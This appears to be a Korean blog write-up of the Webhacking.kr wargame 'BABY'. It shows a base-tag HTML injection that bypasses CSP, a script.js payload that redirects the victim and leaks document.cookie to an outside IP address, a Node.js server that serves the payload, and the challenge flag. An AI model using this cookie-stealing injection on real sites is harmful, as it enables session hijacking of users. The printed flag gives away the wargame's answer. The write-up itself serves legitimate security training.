[Webhacking.kr] BABY

Alexandria·2024년 2월 29일

Wargame Webhacking.kr

목록 보기
60/69
post-thumbnail

1. Description

2. Write-Up

script.js를 로드하고 있다.

script.js에서는 report.php라는 링크를 알려준다.

script태그를 넣으면 CSP(Content Security Policy)에 의해서 javascript를 사용할 수는 없었다.

하지만 base 태그를 이용하여 injection을 시도할 수 있다.

?inject=<base href="http://0.0.0.0/">

cookie를 탈취할 수 있게 script.js를 작성해보자.

window.location.href = "http://61.251.215.194/"+document.cookie;

그리고 base태그를 이용하여 접속하자.

http://webhacking.kr:10010/?inject=%3Cbase%20href=%22http://61.251.215.194/%22%3E

그러면 script.js를 로드하고 코드에 의해 cookie가 오는 것을 확인할 수 있다.

report.php에 ?inject=<base href="http://61.251.215.194/">를 넣어 FLAG를 확인하자.

FLAG를 인증하여 점수를 획득하자. 근데 이상하게 포맷이 다르다. flag로 소문자로 넣어야 한다.

node js를 이용하여 할 수도 있다.

nodejs를 설치한다.

# apt install -y nodejs npm

서버를 구성할 스크립트를 작성한다.

var http = require('http');

http.createServer(function (req, res) {
        console.log(req.url)
        res.end('window.location.href = "http://61.251.215.194/"+document.cookie;');
}).listen(777);

nodejs 기반의 server를 실행한다.

# node script.js

3. FLAG

flag{base_is_basic}

profile
IT 도서관

0개의 댓글